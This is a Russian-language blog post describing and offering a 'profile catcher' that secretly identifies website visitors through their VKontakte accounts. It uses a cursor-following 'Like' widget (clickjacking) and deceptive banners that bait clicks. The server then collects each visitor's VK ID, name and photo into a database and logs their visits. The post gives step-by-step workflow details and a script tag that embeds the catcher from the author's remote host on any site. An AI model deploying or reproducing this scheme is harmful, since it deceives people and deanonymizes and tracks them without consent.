Описание

Ловец профилей Вконтакте  - перехватывает данные с vk профилей посетителей сайта. Чтобы подключить свой сайт надо:

1. Зарегистрировать vk-виджет "Мне нравится".
2. Подключить ловца

Предыстория

Недавно передо мной стояла задача, разработать систему перехвата vk-профилей (профиль социальной сети Вконтакте) посетителей сайта. Началом раздумий послужила данная статья на хабре. Коротко об идее:
1. Регистрируем виджет авторизации vk.com для нашего сайта
2. С помощью javascript'а заставляем следить его за курсором
3. Пользователь кликом на сайте активирует виджет.

Результат получился таким. Минус бросается сразу на глаза: даже если пользователь авторизован Вконтакте, всплывает окошко с запросом доступа, которое может спугнуть посетителя. Было решено найти другой вариант. Далеко идти не пришлось, воспользовался виджетом "Мне нравится".

Схема работы

  1. При входе посетителя на сайт, javascript скрипт проверяет куки, на наличие сессионной записи. 
  2. Если запись отсутствует, создается виджет следящий за курсором (по выше описанной схеме).
  3. Авторизованный Вконтакте посетитель кликает по виджету "Мне нравится".
  4. JavaScript обрабатывает событие "widgets.like.liked" (лайкнули) и Ajax запросом уведомляет об этом сервер.
  5. Сервер запрашивает на сервере vk.com список пользователей лайкнувших виджет  (запрос likes.getList).
  6. Получив Id пользователя, сервер запрашивает дополнительные данные (в моем случае: фамилия, имя и ссылка на фото) и возвращает их скрипту. Сервер сразу заносит данные в базу (если их там не было).
  7. Скрипт создает сессионные куки со сроком 1 час. (при использовании первой схемы они создавались автоматически)
  8. Скрипт посылает второй запрос на сервер для регистрации времени посещения пользователя.
  9. Скрипт удаляет банер.

Такая схема на первый взгляд работала отлично, но позже выявилось еще пару проблем:

  1. Выглядело странно, когда ты хочешь кликнуть по ссылке на сайте ничего не происходило. Это могло восприниматься как нерабочая ссылка или еще как.
  2. Более серьезная проблема в том, что если пользователь ранее уже лайкнул виджет, то последующий клик по нему просто снимет этот лайк.

Не долго думая, нашел одно решение которое избавило меня сразу от обеих проблем. Даю наводку:
Банер 1Банер 2

Уверен, вы догадались!=)
Перед посетителем появляется такой безобидный банер с вопросом, который предполагает клик. Проблема 1 - решена.
Если пользователь ранее кликал, javascript обработает событие widgets.like.unliked (дизлайкнули) и в этом случае всплывает второе окно, которое тоже предполагает клик от посетителя. Проблема 2- решена.

Результат

Я немного допилил свое решение и теперь в нем есть:

1. Быстрое подключение "ловца" на сторонние сайты, всего лишь добавив в шапку сайта 

<script type="text/javascript" src="//gebekovas.ru/FL/VK/js/vkHookInit.php?vkID=5124056&vkURL=http://gebekovas.ru/FL/VK/"></script>

где 

vkID - ваш apiID виджета
vkURL - ваш адрес сайта

2. Мини-админка с возможностью фильтровать историю посещений по дате. Ссылка на админку.

 

Видео-демонстрация